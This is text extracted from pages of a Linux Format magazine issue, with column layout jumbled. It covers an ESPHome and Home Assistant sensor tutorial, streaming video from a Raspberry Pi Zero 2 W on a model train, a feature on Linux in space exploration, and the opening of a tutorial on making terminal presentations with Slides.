microcontroller board, which can be controlled from a Secondly, note that on LEDs, the longer leg is the anode
switch connected to the board as well as from a button
/automation in Home Assistant. In the second project
we’ll look at how to use a DS18B20 temperature sensor, WHAT IS HOME ASSISTANT?
which uses the one-wire serial protocol to measure the
temperature of a room and this information can then be Home Assistant has been covered in some depth in the previous three
fed back to Home Assistant. Using a smart plug and the issues of Linux Format. For those who haven’t seen these articles, this
Generic Thermostat integration in Home Assistant, a boxout will bring you up to date. www.home-assistant.io is a project
simple heating thermostat could be created (see www. that makes it easy to integrate many different smart home products
home-assistant.io/integrations/generic_thermostat). or standards into a system that’s served from your home network.
For both of these projects the Wemos D1 Mini (see Where possible data is kept within the network’s perimeter, but
image left) will be used. Two naming schemes exist to integrations with many cloud platforms also exist. Home Assistant
describe the GPIO pins. Labels will be printed on the provides ways to fire automations based on many different sources
board, such as D1, and this will correspond to another of information, which can include when devices join the home’s Wi-Fi,
number on the chip, such as GPIO 5. weather information from online sources, energy monitoring using
For the first project a momentary switch will also smart plugs, NFC tags being scanned and much more.
be used with an LED and a 1k ohm resistor, so that the Dashboards can also be created to provide feedback from sensors
LED doesn’t become damaged by a higher voltage as well as ways to quickly and easily turn devices on and off. Getting
than is required. For the second project a DS18B20 started is easy and images of the operating system, supervisor and
temperature sensor will be used as well as a 1k ohm project itself are provided by the team and can be run on a Raspberry
resistor. If using the temperature data to control a Pi or various different virtualisation platforms. When using the OS,
heater of some sort, then a compatible smart plug will which is provided by the team, the add-on store provides excellent
be needed. These are available in the UK and US with support for many additions, including SQL servers, DNS filtering for
Tasmota pre-installed and is a much safer option than the home and the WireGuard VPN.
flashing new firmware to existing devices. This is

USE OUR NOT-SO SMART SYSTEM Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux July 2022 LXF290 47
 TUTORIALS Home sensors

Pin Number Purpose

D0 Pin is high at BOOT
Home Assistant
image files can D3 Boot failure if pulled LOW
be downloaded
D4 Pin is high on BOOT, boot failure if pulled LOW
from https://
www.home- D8 Boot failure if pulled HIGH
assistant.io/
installation. RX Pin is high at BOOT
TX Pin is high at BOOT, boot failure if pulled LOW

(that connects to positive voltages) and the shorter is light:

the cathode, which connects to zero volts via a resistor, - platform: binary
which is used to limit the voltage flowing through the name: “Master Bedroom LED”
LED. D1 and D2 are good choices for this project. output: output_component1
Referring to the diagram (page 47), use jumper
cables and a breadboard to connect the anode of the #Set up the switch on GPIO D1
LED to D2 and the cathode of the LED to one end of the binary_sensor:
resistor. The other end of the resistor should connect to - platform: gpio
the 0V or ground pin (this pin may be labelled with name: “Master Bedroom Switch”
either text). Now the switch can be connected so that pin:
one leg is connected to 0V. The second leg of the switch number: D1
should be connected to D1. inverted: True
Now that the physical work has been completed, mode: INPUT_PULLUP
we can move on to the ESPHome project. Open the filters:
ESPHome dashboard and create a new project. When - delayed_off: 10ms
asked, add the name for the project, details of the on_press:
network the microcontroller will connect to and the - output.turn_on: output_component1
type of board as Wemos D1 Mini. on_release:
Once the project has been created it can be - output.turn_off: output_component1
installed. Select the install option and the ‘Plug into The first five lines define the D2 GPIO pin as an
this computer’ method of installation. Download the output, and sets the name as output_component1 . The
compiled file and then flash via a web browser (https:// next four lines define a light device, sets a name and
web.esphome.io/?dashboard_install). This needs to be links this light to the output device previously defined.
a supported browser and Chrome works well. When the The remaining lines define a binary sensor, which is an
firmware has been installed, the project will show as input device and connects to the pin that the switch is
being online from the ESPHome dashboard. Once this connected to. The line referencing the mode of PULL_
has been done, the YAML can be edited accordingly and UP means that the input value will be set to 3.3V if the
further updates carried out via the wireless installation switch isn’t pressed and then set to 0V when the switch
method. The YAML below details the important part of is pressed. This is important because it means that the
the project and the entire file can be downloaded from input won’t ”float” and the microcontroller won’t receive
github. (see link later in the article). incorrect values should the switch not be pressed.
#Set up the LED on D2 as a light The filters section adds a debounce feature so that
The breadboard output: the microcontroller won’t register incorrect values when
layout for our
- platform: gpio the switch is being pressed down and sometimes the
second project
with the added pin: D2 value would fluctuate due to mechanical problems
temperature id: ‘output_component1’ within the switch. Finally in this section we define what
DS18B20 sensor. should happen if the switch is pressed. In this example
pressing the switch turns on the LED and releasing the
switch will switch the LED off again. As well as this
functionality existing on the microcontroller and
connected components, values of switch presses are
reported back to Home Assistant.
Once completed, save the file and select the option
to upload. Select the option to upgrade via wireless and
the firmware will then be flashed and within a minute or
so will be uploaded and the hardware should be visible
as online in the ESPHome dashboard. The next step is to
add the discovered automation to the Home Assistant
installation. Open the Configuration options and then
the Integrations page. At the top-left of the page there
should be a discovered integration. Select this and enter
the API password, which was set within the project (see
the downloaded YAML for a complete project). Once
added, new entities will be visible in the Integration for

48 LXF290 July 2022 www.linuxformat.com

 Home sensors TUTORIALS

this device (see screenshot, right) and automations can The data from the
microcontroller
be created using the information.
can be seen within
Because this is a simple project, from the Home Assistant
integrations page, select the device associated with and can be used
the ESPHome project and there will be an overview for dashboards
page displayed. This page will contain a switch that as well as
automations.
corresponds with the LED output on the microcontroller.
Selecting the switch will turn the LED on. Deselecting
the switch will turn it off again. An entity will also be
available for the physical switch on the microcontroller.
Selecting this will cause the LED to light, but also cause
the binary sensor in Home Assistant to change state.

Turning up (or down) the heat

The second project is to begin creating a thermostat to
control the temperature of a room by switching a smart
plug and connected heater on and off. Controlling the
smart plug is left as an exercise for the reader – a
similar project has been covered in a previous article.
Three stages are required for the microcontroller
section of the project, with the first being to connect
the temperature sensor to the microcontroller. For this,
connect the yellow cable, or middle pin if using the form
factor shown in the diagram (see far bottom left) of the
temperature sensor to D5 and then connect a resistor
between D5 and the 3.3V pin. The red wire (or right-
hand pin) of the temperature sensor then needs to
connect to 3.3V and the black wire (or left-hand pin) to
0V/Gnd. For stage two, add the following lines of YAML
to the bottom of the project file. Once saved the
firmware can be installed onto the board.
# Dallas Temperature Sensor uploaded a new entity will be created within Home
dallas: Assistant, which will contain the temperature. The
- pin: D5 complete YAML can be downloaded from github and
Now from the ESPHome dashboard select the log contains extra sensors as well to showcase what
option on the project and when the window opens and ESPHome can do (https://github.com/mattmole/
shows logs a string will be displayed, which looks similar LXF290/blob/main/ESPHome%20Project.yaml).
to a MAC address (if the string isn’t displayed, change We’ve only scratched the surface of what ESPHome
Substitutions
the log value from INFO to DEBUG). This value can be can be used to accomplish. This author has configured can be used with
copied and used when the below YAML is added to the sensors to read the temperature, barometric pressure the YAML so
project, which is stage 3. and humidity, and count the pulses from a smartmeter, that the same
# Individual sensors which enable whole-home energy consumption to be string can be
sensor: tracked without needing anything connected inline used in multiple
- platform: dallas with high voltages. locations
address: 0x1f0316c2ed45ff28 - REPLACE THIS WITH Micro-controllers can also be purchased for and YAML
WHAT WAS SEEN IN THE LOGS reasonable prices with e-Ink displays, OLED displays, can easily be
copied between
unit_of_measurement: “°C” built-in cameras and support is being worked on for
projects and
name: “NAME_OF_SENSOR” RISC-V powered devices. Let us know what you create
reused.
Now compile and upload the firmware again. When and what you’d like to see built next!

TASMOTA VS ESPHOME
Tasmota and ESPHome accomplish within Tasmota is via a web GUI, whereas manage the devices. This central
largely the same task. Both projects ESPHome requires YAML syntax to be management capability is useful because
provide a means of running firmware on written to create configurations, which it enables all devices to be updated at the
some microcontroller devices that can be are then cross-compiled to run on the same time. Both products provide a
controlled from the local network. microcontroller board. means to update the firmware via the
ESPHome originally used the MQTT Tasmota communicates with Home wireless network, which is convenient.
protocol to communicate between itself Assistant via the MQTT protocol and is Overall, Tasmota is probably the easier
and Home Assistant, but a number of capable of running in a completely of the two systems to become familiar
releases ago an API was developed to standalone manner, whereas ESPHome with because it provides the web GUI,
provide more seamless communication requires some level of communication while ESPHome is probably the more
between the two projects. Configuration with the ESPHome server component to adaptable project to use.

www.techradar.com/pro/linux July 2022 LXF290 49

 TUTORIALS Streaming video

VIDEO

Set your Pi for mobile

streaming video
Sean Conway helps you ride the rails with a Raspberry Pi and its camera,
with a bit of streaming video trickery thrown in for good measure.

ncorporating single-board computers into a

I hobby such as model railways is a great way

for a maker to double their pleasure by
combining their passions. In this tutorial, we’re going to
develop a Raspberry Pi camera system to produce a
OUR video from a moving HO scale model train.
The tutorial will introduce the latest Raspberry Pi
EXPERT Zero 2 W (PZ2W) and provide the configuration details
Sean Conway required to stream video from the camera-fitted Pi. We’ll
is a former IT also touch on the model rail cars.
security specialist The PZ2W is ideal for this project. Its small physical
from a national size fits nicely in the limited space of an HO-scale Here’s the cable harness that connects the external battery and
telecoms company model rail car. The quad-core processor packs enough power-off trigger switch to the Pi camera system.
who implements processing power to support streaming content. All
Pi-based train aboard? Then let’s get started. network connection and enable secure shell (ssh)
projects to get his support. raspi-config enables a user to configure
much-needed First stop: OS various settings of the operating system. The arrow
technology fix, now
We’re assuming that the reader knows how to install a keys enable you to navigate the menus to make any
that he’s retired.Raspberry Pi OS using the Raspberry Pi Imager software. changes. The tool removes the requirement to have
Users download the Pi OS image and after unzipping the in-depth knowledge to perform the changes from
the file, use Raspberry Pi Imager to install the OS a command line.
image to the microSD card. A video and support The Bullseye version of the OS comes pre-configured
documentation for the process is available on the with camera software. The new camera software stack
Raspberry Pi OS website. aims to support the camera system directly from the
This project uses the Raspberry Pi OS Lite software OS. The Broadcom GPU code was proprietary, which
image. The full version of Raspberry Pi OS with desktop restricted access. New open-source code software
and recommended software has lots of extras that drives the camera directly from the ARM processor.
aren’t required. Streaming video from the PZ2W to The libcamera software stack has five basic libcamera
another host over the wireless network is the goal. Why tools. The applications attempt to emulate most of the
use the larger image of the desktop functions of the legacy raspicam applications built on
YOU NEED OS with the additional software that Broadcom’s proprietary GPU code.
isn’t required, when the smaller Lite libcamera-jpeg: a simple still image capture application.
Raspberry Pi Zero 2W image works perfectly well? libcamera-still: expanded features for capturing still
Raspberry Pi OS Lite With the image transfered to the pictures. The tool supports several file formats.
32GB SD card SD card completed, install the card libcamera-vid: a video-capture application that makes
2.5A 5VDC PSU along with a keyboard and video use of H.264 encoding.
Pi V2.1 camera before starting the first boot. Before libcamera-raw: a raw frame capture application with
4,500mAmp/hr battery we proceed with camera “stuff”, let’s no formatting.
2.54mm single-row pin ensure the Raspberry Pi OS has all libcamera-detect: this application is trained to identify
header the latest updates by issuing sudo around 80 classes of objects using Coco database. It’s
2.54mm pitch straight six- apt update followed by sudo apt not supplied by default so it must be built.
position pin header connector upgrade from the command line. The OS provides a test command that starts the
Two HO-scale well cars Using the Raspberry Pi OS camera, outputs some details, and then displays a
Assorted model styrene configuration tool, change the Pi’s camera preview window for five seconds. From the
plastic hobby supplies configuration to establish a wireless command-line enter the following:

50 LXF290 July 2022 www.linuxformat.com

 Streaming video TUTORIALS

$ libcamera-hello The angle bracketed IP address field will need to be A model well car
which is the equivalent of a “hello-world” application. replaced with the appropriate IP used by the PiZero2W. provides sufficient
space to hold
The screen will fill with camera-related details and After some connection negotiation information is
the Pi camera
then display a preview window of the camera image. The displayed on the screen, a video window was presented system with a
duration that the image is displayed can be altered from to display the streaming content. external battery
the command line. The new camera software library An attempt was made to use some of the VLC pulled behind.
uses third-party libraries to interpret command-line commands listed in the documentation with little
options. The options are chosen to reflect those used success. A week later a disclaimer on the camera
in the legacy camera software. documentation website suggested a recent version of
The online camera documentation provides detailed VLC had problems with playback. They recommended
explanations and examples of use. The source code for using ffplay, a software tool from the ffmpeg suite, until For all things
the software is available under a BSD 2 clause licence. VLC resolves the issues. Raspberry Pi
The goal is to enable users to customise libcamera- The PZ2W with the camera was installed in one well Camera here
based applications to suit their own requirements. car and then enclosed in a hollowed-out container box is the official
The libcamera-hello command generates an error to hide the installation. The battery pack was installed in manual link
message if used from an ssh session connection. That a second well car and also enclosed in a hollowed-out https://bit.ly/
makes sense because the preview window can’t be container box. A cable to carry power from the battery lxf290camera
displayed over the connection. During the development to the camera system was also fitted.
of the article, the author used the wrong screen to enter There are two final real-world observations. The
commands. Discovering that the root cause of the error streaming video on the laptop stuttered if both the
message was pilot error and not hardware related was PZ2W and the laptop were using a wireless connection
embarrassing, to say the least. to the same router. If the PiZero2W used wireless and
the laptop was hard-wired the streamed content
Second stop: Config suffered no degradation. Second, with a fully charged
In addition to the camera ribbon cable installation, the battery pack and the PZ2W streaming video, with a
rail car-riding PZ2W required some other connections laptop connected to display the stream, the PZ2W
that are shown in the circuit diagram (left). With the camera system operated for 11 hours.
PZ2W installed in the HO-scale model well car, there There you have it folks – a Raspberry Pi Zero 2 W
wasn’t sufficient space to gain access to the USB micro with a camera riding the rails on an HQ-scale model
B power connector. In order to provide DC power, the train layout. Future improvements are pending, once a
battery power cable was connected to GPIO header pins new book on using ffmpeg to stream content arrives in
4 and 6. Pin 4 would normally output power. It can also our virtual mailboxes. Hey, maybe there’s a future Linux
source power. In this use case pin 4-inputted power Format tutorial in that as well? Until next time keep your
from the battery pack carried in the trailing well car. Pi idea oven warm.
It’s never good practice to just turn the power off on
a Raspberry Pi without performing an orderly shutdown
of the operating system. The Off_Trigger button shown OUT WITH THE OLD, IN WITH THE NEW
in the diagram when pressed applies a ground to pin 15.
A Python script monitoring the pin takes care of the Raspberry Pi is transitioning from a legacy camera software
shutdown sequence. stack based on proprietary Broadcom GPU code to an open-source
Section 2.8 Shutdown Button of the GPIO Zero stack based on libcamera. The latest Raspberry Pi operating system
1.6.2 Documentation package (see https://gpiozero. images named Bullseye and onward will contain only the libcamera-
readthedocs.io/en/stable) has all the details required based stack.
to establish the Python script to perform the shutdown. The Pi camera documentation site indicates it might be advisable
Two commands were used to set up the PiZero2W to to stay with the older OS and the legacy Raspicam software stack
stream video to a host laptop. From the command line because it performs better on the Raspberry Pi Zero devices. The
on PZ2W enter the following: software offloads more to the graphic processor unit and is less
$ libcamera-vid -t 0 --inline --listen -o tcp://<SERVER. dependent on the Arm cores.
IP>:<PORT> Considering the Pi Zero 2W is hosting quad-cores the author
From the command line on a Ubuntu 18.04 laptop: decided to ignore the recommendation and use the libcamera
$ ffplay tcp://<SERVER.IP>:<PORT> -vf “setpts=N/30” software stack hosted in the OS to stream video.
-fflags nobuffer -flags low_delay -framedrop

STREAM US TO YOUR DOORSTEP Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux July 2022 LXF290 51
LINUX

Credit: NASA
IN SPACE!
From a shaky start, Linux is becoming much more
established in astronautics. Mike Bedford looks at
its success to date and its future prospects.
hy do astronauts use Linux? terms, how they’ve influenced the

W Because you can’t open

Windows in space. Joking
aside, the truth is that the
operating system of choice.
Take, for example, the ISS, which was
launched over 20 years ago. With Linux
heavens aren’t full of Linux-toting being the new kid on the block back then,
computers. But all that’s changing, it wouldn’t have been given serious
so we’ll be looking at how Linux is consideration, and upgrading now would
becoming an important facilitator in barely be feasible. Much of the in-built
space exploration. And that takes us computer hardware wouldn’t support
from NASA’s supercomputers here on modern distros, and upgrading the
Earth, through to laptops in orbit on the hardware and software would be a costly
International Space Station (ISS) and and high-risk strategy.
flight control computers on SpaceX’s But even some much more recent
launch vehicles and spacecraft, to a space missions have failed to embrace
single board computer empowering a Linux. The Perseverance Martian rover
helicopter flying on Mars. touched down in February 2021 and it’ll
As well as looking at where and how continue to explore the Red Planet for
Linux is used in astronautics, we’ll also quite some time yet. But its main onboard
delve into why it’s used. The migration of computer uses a PowerPC 750 processor
Linux into space is a recent phenomenon, – a chip that launched back in 1997.
though, and it’s still far from universal. So, Actually, to be rather more accurate, it
we’ll also investigate what’s held Linux uses a variant of the 32-bit PowerPC 750
back in space and, to a significant degree, called the RAD750, and this brings us to a
continues to do so today, and what the key point. Processors don’t fare too well in
prospects are for it to boldly go where no space. Because of the radiation they
operating system has gone before. constantly have to endure, they’re much
more likely to suffer occasional glitches,
OSes beyond the Earth or even catastrophic and permanent
We’re going to be looking at where Linux is failures, than their Earth-bound
being used in space exploration. But first cousins. For this reason, processors
we need to consider space-based
computing platforms and, in general

NASA’s upcoming Artemis programme, which

will use this SLS rocket, doesn’t have onboard
Linux machines, but back on Earth Linux is
critical to pre-launch simulations.

52 LXF290 July 2022 www.linuxformat.com

 Linux in space! IN-DEPTH

used in space are usually radiation hardened to

withstand the rigours of life beyond Earth’s atmosphere.
These specialist processors aren’t cheap. Reportedly

Credit: NASA/JPL
RAD750s cost US$200,000 each – so we can barely
imagine how much they cost to develop.
The bottom line, therefore, is that manufacturers
bring out a new radiation-hardened chips infrequently,
and most chips never spawn a radiation-hardened
variant. This is a further reason for the antiquity of
computing hardware in space, and hence the scarcity of It might only have touched down in 2021, but the Perseverance Martian rover’s main processor is
Linux in the heavens. But things are changing here, as based on the venerable PowerPC 750 processor. No wonder it doesn’t run Linux.
we’ll see when we look at the so-called Spaceborne
supercomputer on the ISS. to experiment-specific applications and international
partners. Some of these are Windows and some are
In Earth orbit Linux of various distributions.”
Although much-reported stories suggest that all the Onboard the ISS are Honey, Queen and Bumble.
laptops on the ISS migrated to Linux back in 2013, Collectively, these free-flying robots form the Astrobee
reality is more nuanced, as we learned when we spoke system. Their job is to help astronauts reduce the time
to spoke to Dan Duncavage, system manager of NASA’s they spend on routine duties, leaving them to focus
ISS Avionics and Software Office. “As you can imagine, more on the things that only humans can do. NASA
the station contains many computational devices,” he

RUNNING LINUX ON THE ISS

told us. “Most of them are highly custom, and function
like avionics systems that you might find on an airliner

“A handful of the [Linux] laptops are

or military aircraft.” Although he didn’t specifically spell
it out, these mission-critical systems don’t employ

used by the crew as their command

Linux, but beyond these central systems, we find a more
varied situation, as he went on to explain.

interface to the core avionics systems.”

“There’s a subset of laptops and small computer
boxes where Linux is used. A handful of the laptops
are used by the crew as their command interface to
the core avionics systems. These are based on a says, “The robots are designed to complete tasks such
customised Linux kernel. The avionics interface and as taking inventory, documenting experiments
crew user interface software are all purpose-built for conducted by astronauts with their built-in cameras, or
these functions, and resides on top of that Linux kernel. working together to move cargo throughout the station.
“Additional laptops and IoT devices make up what’s In addition, the system serves as a research platform
called the Station Support Computer (SSC) System. that can be outfitted and programmed to carry out
This is similar to what businesses would call a mission- experiments in microgravity – helping us to learn more
critical IT infrastructure, and supports everything from about how robotics can benefit astronauts in space.”
email to highly custom experiment interfaces and all of And, yes, their control computers run Linux, specifically
the crew’s medical monitoring, and it runs the unique two of their three ARM-based computers run Ubuntu/
space exercise equipment. The majority of the SSC ROS, while the third is equipped with Android 7.1.
laptops are Windows 10 clients; the IOT devices are built So we’ve seen Linux-based laptops and flying robots
on Debian Linux. The remaining laptops are distributed in Earth orbit, but a much more powerful Linux machine

GEARING UP THE RASPBERRY Pi FOR SPACE

An initiative of the European Space safety of the astronauts who will use Lithuania, Latvia, or Malta, and winning
Agency in collaboration with The them, the surface temperature of the entries will be deployed in May 2022,
Raspberry Pi Foundation, Astro Pi is case couldn’t exceed 45 degrees. It also with the 2022/23 challenges launching
providing teams of young coders with had to have no sharp edges, and it had in September.
the opportunity to see their applications to be proven that it wouldn’t interfere
running aboard the International Space with other equipment on the ISS, or
Station, Python and the Linux Operating that such equipment would interfere
Credit: ESA/NASA

system. The Astro Pi platform comprises with the Astro Pi.

a RPi 4, a sensor HAT and a HQ Camera. Two of the latest generation of Astro
But it doesn’t look like any previous Pis were taken to the ISS in December
Raspberry Pi-based platform, as you can 2021, to replace the previous Astro Pis
see in the photo. that had spent six years in orbit.
Stringent testing was required before Following a test period by astronauts in
the Astro Pi would be allowed aboard on space, they’re ready to run student
Despite appearances, this Astro Pi, onboard the
the ISS. First, it had to be capable of programs. Entries were open to teams of ISS, contains Raspberry Pi hardware and provides
withstanding the huge vibrations that young people, aged 19 or under, from the opportunity for young people to see their code
occur at lift-off. Then, to ensure the ESA member states or Slovenia, Canada, working in orbit.

www.techradar.com/pro/linux July 2022 LXF290 53

 IN-DEPTH Linux in space!

was taken to the ISS in 2017 for a year-long mission.

Called the Spaceborne Computer, it’s been described as
a supercomputer and its purpose was to research
alternatives to the usual radiation hardening approach
for protecting computers from the hazards of radiation
exposure. This, it’s suggested, will pave the way to using
more up-to-date and higher performance processors
than are currently used, as would be required for future

Credit: NASA
long-term manned missions, for example to Mars.
The Spaceborne Computer is a commercially
available supercomputer designed and produced
by Hewlett Packard Enterprise (HPE). It includes
HPE Apollo 40-class systems with a high-speed
interconnect, running an open-source Linux operating Laptops onboard the ISS run a variety of operating systems, with Linux
system. According to HPE, the Spaceborne Computer empowering the crew’s interface to the core avionics systems.
contains compute nodes of the same class as Pleiades,
one of NASA’s premier supercomputers. Shuttle took astronauts and supplies to the ISS,
As an alternative to using radiation-hardened alongside the Russian Soyuz and a few other launch
processors, a software solution was developed to vehicles. For a short while, America had to hitch a ride to
mitigate negative impacts of radiation on reliability. the ISS on the Russian launch vehicle, but then, in 2012,
During high-radiation events, the electrical power the forces of capitalism came into play. Space was no
consumption and, therefore, the operating speed of longer the sole domain of government-owned space
the computer system was lowered, with the aim of agencies. Now, the ISS is also supplied by launches by
determining if such systems can still operate. The SpaceX and Northrop Grumman Space Systems. And
conclusion was favourable. During its demonstration the SpaceX Dragon spacecraft and its Falcon launch
These floating mission, the Spaceborne Computer performed more vehicle are especially interesting.
robots on the ISS than one trillion calculations per second (one teraflop) Where NASA leads, SpaceX follows, you might think.
form the Astrobee for 207 days without requiring a reset. But that isn’t a valid assessment, and the choice of
System. They
assist the crew
While we’ve not yet seen Linux employed in NASA’s operating systems is a case in point. For while NASA’s
with basic tasks, mission-critical jobs, even that’s changing, and the ISS forthcoming SLS launch vehicle uses a proprietary
and run Linux. is a beneficiary. Until it was retired in 2011, the Space Boeing operating system in its flight control computer,
and the Orion crew exploration vehicle uses a real-time
operating system called Integrity-178B from Green Hills
Software, it appears that SpaceX is firmly in the Linux
camp. But this is no ordinary Linux, and certainly not
Credit: NASA/Shane Kimbrough.

any distro you might choose for your PC.

Although SpaceX declined to speak to us, and details
are sparse elsewhere, there’s consensus that the Falcon
9 launch vehicle uses a stripped-down version of Linux
running on x86 processors, and the flight control
software was written in C++.

Further afield
It would be great if we could tell you that a Linux-based
computer is on board the Pioneer 10 and 11 spacecraft,
which have now left the Solar System and are heading

SUPERCOMPUTING AND SPACE EXPLORATION

You’ll probably have noticed that NASA Underpinning the design and needless to say, since the operating
is intent on returning astronauts to the verification of all NASA’s spacecraft is system has powered all the world’s 500
Moon for the first time since Apollo 17 in simulation, and Artemis is no exception. fastest supercomputers since 2017, it
1972. Called the Artemis programme, it’ll It’s surely not surprising that these runs Linux.
be based on the Orion spacecraft that simulations are hugely processor- If you want to learn more about why
will be launched atop the new Space intensive, so some serious computing Linux is the undisputed king of
Launch System (SLS) rocket. But given muscle was called for. Simulations of the supercomputing, be sure to take a look
NASA’s apparent reluctance to use Linux landing process, for example, are being at our expose in LXF284. If you’ll excuse
for mission-critical applications, it’ll carried out at NASA’s AMES Research this spoiler, though, with commercial
probably come as no surprise that Linux Center in California on a supercomputer top-end operating systems being
doesn’t form a part of either Orion or called Aitken. In November 2021, when it licenced per core, if you’ve got a quarter
SLS. That doesn’t mean that the success boasted 242,688 cores, it was the of a million cores, FOSS is surely the way
of Artemis won’t depend on Linux, world’s 49th fastest computer, but it’s to go, and such financial considerations
though – far from it. been expanded since then. And, are just the tip of the iceberg.

54 LXF290 July 2022 www.linuxformat.com

 Linux in space! IN-DEPTH

Credit: NASA/JPL/Caltech
for the stars. But we can’t. The first of these probes was Seen here
undergoing a final
launched just four months after the launch of the first
inspection prior
ever microprocessor, Intel’s 4-bit 4004. Needless to say, to launch, the
the Pioneers carried computers made from individual Ingenuity drone
logic chips that probably didn’t even have an operating is now operating
system. However, Linux can be found beyond the on the Red Planet
thanks to its Linux-
confines of the Earth, about 278 million kilometres based computer.
beyond in fact, and it took over six months to get there.
The Jet Propulsion Laboratory in California is
responsible for NASA’s missions to Mars and beyond. To
get a view of the changing face of Linux in space
exploration, we spoke to Tim Canham, senior flight
software engineer at JPL who explained the motivators been problematic applying it to modified kernels that
and detractors to increasing the use of Linux in space. are provided by board vendors. The fairness algorithm
First the success stories. “Linux has had two and underlying I/O make it hard to guarantee timing.”
prominent uses here at JPL recently: the Mars Ingenuity We can imagine that his second reason might cause
helicopter and the Perseverance Rover EDL camera a few hackles to be raised, though. “Fair or not, there’s a
system,” Tim was pleased to tell us. “Both systems were perception that since Linux is based on a lot of open
considered technology demonstrations and weren’t source contributions, it’s difficult to know or reasonably
critical to the survival of the Rover, but Linux has assess the quality of the code that comprises the kernel,
performed well in both cases.” drivers or other apps running in the distribution.”
Given the fact that Linux is excluded from some But things are changing, as Tim explains. “The role of
space projects because of the antiquity of the Linux is still evolving and different organisations have
computing hardware, one reason for its inclusion on different risk postures related to usage, but I think for
Ingenuity makes a refreshing change. The Martian NASA, Linux can find a niche in areas where it has
atmosphere is more than 100 times thinner than advantages: data processing and operation of fight
Earth’s, and this places huge demands on the design of hardware in non-critical contexts. Linux brings
an aircraft intended to fly on the planet. As well as enormous open-source advantages that can speed
larger-than-usual rotors, keeping the weight to an development and take advantage of software already
minimum was critical, and this brings us to the available in the community. I also think there’s a chance
computing hardware. An ARM-based Qualcomm to deploy Linux in a compute environment where
Snapdragon 801 based computer system was chosen to hypervisors can separate the real-time domain from the
meet these strict requirements and, yes, you’ve guessed processing domain.”
it, Linux was chosen because the VxWorks operating So while Linux hasn’t turned space exploration on its
system that would normally be used by NASA in such head, changes are taking place. And you can take some
applications wasn’t available for the Snapdragon chip. comfort in the fact that Ingenuity, the first aircraft ever
So why are these applications the exception rather to fly above the surface of an alien world, is a Linux-
than the rule? Except for the legacy nature of the powered miracle of astronautical engineering.
computing hardware often used in astronautics, what’s
held back the application of Linux? Tim suggested a few
reasons, starting with a concern about real-time INTRODUCING CUBESATS
performance. “Flight software typically has hard
software deadlines that have to be met to guarantee the Space exploration might have evolved to use commercial service
survival of the spacecraft. If the operating system can’t providers such as SpaceX, but further democratisation of space
make guarantees that those deadlines can be met, it research is just a pipe dream, you might think. But you’d be wrong.
can’t be used. CubeSats are tiny satellites, measuring just 100mm across and
“Linux isn’t primarily designed as a real-time weighing no more than 1.33kg. They can cost as little as £38,000
operating system. Linux has real-time patches to the to build and, because they can be launched from the ISS or as a
mainline kernel that improves the performance, but it’s secondary payload alongside more mainstream satellites, they can
be launched for not a lot more. As such, they’ve formed the basis of
Credit: www.rawpixel.com/image/2229601

student projects, often with funding from bodies like the ESA, and
have even been built by groups of enthusiasts – for example,
amateur radio societies.
Although Linux isn’t universal in CubeSats, given that the open
source philosophy is key to much of the CubeSat community, it’s
no surprise that Linux is a common choice, alongside the likes of
FreeRTOS. The open source approach goes well beyond the operating
system, and it isn’t even restricted to the software. Open hardware
processor boards are common. You can find designs for components
such as thrusters, and there have even been complete open source
satellites, including a design by the Libre Space Foundation. What’s
more, there are networks of open source satellite ground-stations
and, reportedly, if you have access to a 3D printer you can build your
SpaceX’s flight control computers aboard craft like this Crew Dragon own ground station for just a few hundred pounds.
operate under Linux, in a marked departure from NASA’s approach.

www.techradar.com/pro/linux July 2022 LXF290 55

TUTORIALS
TUTORIAL

SLIDES
Credit: https://github.com/maaslalani/slides

Making presentations
from the command line
Although renowned for concocting far better excuses than cocktails,
Shashank Sharma is quite adept at making presentations.

lides uses markdown language to create a navigate into the slides directory and then run the go

S presentation. While the finished work lacks

features such as a timer or animations, it more
install command. If Go throws any errors during
installation, your installed version of Go could be the
than makes up for it with other add-ons. For instance, likely culprit. The only option is to uninstall Go and then
you can use different themes, and even make your own. install the latest version. The process is straightforward
OUR The feature we like best is code handling. If Slides
encounters code on a slide, it can execute the code and
and you’ll find instructions at https://go.dev/doc/install.

EXPERT display the output as part of the presentation. Creating a presentation

Shashank The beauty of Slides lies less with its features and All the slides in any given presentation are added into a
Sharma more with the ability to create presentations using single markdown file, with each new slide separated
is a trial lawyer in markdown language. HTML (HyperText Markup using three hyphens or dashes (---). You can create the
Delhi and an avid Language) is one of the most well-known markup markdown file in any editor of your choice.
Arch user. He’s languages. All processing in HTML is accomplished Here’s a sample three slide presentation that utilises
always on the using elements such <br> for line breaks, <h1>, <h2> for different style elements to create a basic presentation:
hunt for pocket- heading, </strong> for bold, etc. In comparison, you can ---
friendly geeky think of markdown as a far more lightweight markup theme: light
memorabilia.. language, which makes it easier to use. author: The Terminal Tutorial - LXF 290
---
Sliding in
You won’t find Slides in the software repositories of most # This is Heading 1, and the largest heading supported
popular desktop distributions. If you have Homebrew in markdown.
configured on your distribution, you can run the brew ## This is Heading 2. It’s smaller than Heading 1, but
install slides command to install it. The utility is also not as small as Heading 6.
distributed as a Snap package, so alternatively you can
run the sudo snap install slides command. ---
Another option is to use Go. If you already have Go # This is Heading 1, but part of the second slide.
configured on your system, download the Slides
repository from GitHub with the git clone https:// You’ll notice that the three hyphens denote a new
github.com/maaslalani/slides.git command. Next, slide.
---
A slide must
have more # This is the third slide.
content than
### It stands out from the other slides, because:
mere headings
to be processed.
A slide with 1. It has lists.
only headings is 2. This is a numbered list.
ignored. So add
a line of text, But it also has a bullet list:
a list, graph, - The hyphen is used to start a bullet list.
code, or any - This is called an unordered list.
combination - Notice the spacing arrangement here.
of these to - This is how you create a nested list.
Replace ‘~~~graph-easy --as=ascii’ with ‘~~~graph-easy --as=boxart’ if
each slide.
you want a box graph instead of an ASCII box. - This doesn’t work with numbered lists.

56 LXF290 July 2022 www.linuxformat.com

 Terminal TUTORIALS

Graphviz. Most distributions offer these in their software

repositories. For Ubuntu, you must install the libgraph-
easy-perl package, which also installs Graphviz.
Once installed, you can add the following section to a
slide to create a graph:
```
~~~graph-easy --as=ascii
[ A ] - to -> [ B ]
~~~
```
Blocks of code are defined with three tildes (~) and
each code block, including the tildes, are defined within
Open the examples/code_blocks.md file in a text editor to see how three backticks (`). The backticks are used to retain
